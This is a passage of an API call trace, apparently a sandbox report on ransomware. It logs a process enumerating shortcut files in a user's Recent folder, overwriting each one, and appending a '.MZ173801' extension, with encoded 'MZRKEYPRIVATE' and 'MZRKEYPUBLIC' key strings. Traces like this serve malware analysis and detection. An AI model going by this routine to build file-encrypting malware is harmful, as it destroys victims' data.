dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.496] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.496] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3e5 [0148.496] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.496] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3e5, lpOverlapped=0x0) returned 1 [0148.497] CloseHandle (hObject=0x280) returned 1 [0148.497] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kboxgphnj70m.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.498] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3e5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3e5, lpOverlapped=0x0) returned 1 [0148.499] CloseHandle (hObject=0x280) returned 1 [0148.502] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kboxgphnj70m.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KbOxgphNJ70M.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kboxgphnj70m.flv.lnk.mz173801")) returned 1 [0148.503] GetCurrentThreadId () returned 0xab4 [0148.503] GetCurrentThreadId () returned 0xab4 [0148.503] GetCurrentThreadId () returned 0xab4 [0148.503] GetCurrentThreadId () returned 0xab4 [0148.503] GetCurrentThreadId () returned 0xab4 [0148.503] GetCurrentThreadId () returned 0xab4 [0148.503] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7f21f4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b7f21f4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b7f21f4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ee, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="kcbhP88PnzqBNGqzO3.lnk", cAlternateFileName="KCBHP8~1.LNK")) returned 1 [0148.503] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.503] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kcbhp88pnzqbngqzo3.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7f21f4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b7f21f4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b7f21f4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3ee)) returned 1 [0148.504] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kcbhp88pnzqbngqzo3.lnk")) returned 0x20 [0148.504] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk", dwFileAttributes=0x80) returned 1 [0148.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.507] GetCurrentThreadId () returned 0xab4 [0148.507] GetCurrentThreadId () returned 0xab4 [0148.507] GetCurrentThreadId () returned 0xab4 [0148.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.507] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.507] GetCurrentThreadId () returned 0xab4 [0148.507] GetCurrentThreadId () returned 0xab4 [0148.507] GetCurrentThreadId () returned 0xab4 [0148.508] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kcbhp88pnzqbngqzo3.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.508] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.508] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.508] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3ee [0148.508] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.508] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3ee, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3ee, lpOverlapped=0x0) returned 1 [0148.509] CloseHandle (hObject=0x280) returned 1 [0148.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kcbhp88pnzqbngqzo3.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.510] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3ee, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3ee, lpOverlapped=0x0) returned 1 [0148.511] CloseHandle (hObject=0x280) returned 1 [0148.514] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kcbhp88pnzqbngqzo3.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kcbhP88PnzqBNGqzO3.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kcbhp88pnzqbngqzo3.lnk.mz173801")) returned 1 [0148.555] GetCurrentThreadId () returned 0xab4 [0148.555] GetCurrentThreadId () returned 0xab4 [0148.555] GetCurrentThreadId () returned 0xab4 [0148.555] GetCurrentThreadId () returned 0xab4 [0148.555] GetCurrentThreadId () returned 0xab4 [0148.555] GetCurrentThreadId () returned 0xab4 [0148.555] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf161f8e5, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf161f8e5, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf161f8e5, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5d8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="KyDI6rQz0nUT1e2995v.lnk", cAlternateFileName="KYDI6R~1.LNK")) returned 1 [0148.555] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.555] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kydi6rqz0nut1e2995v.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf161f8e5, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf161f8e5, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf161f8e5, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x5d8)) returned 1 [0148.555] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KyDI6rQz0nUT1e2995v.lnk" (normalized: 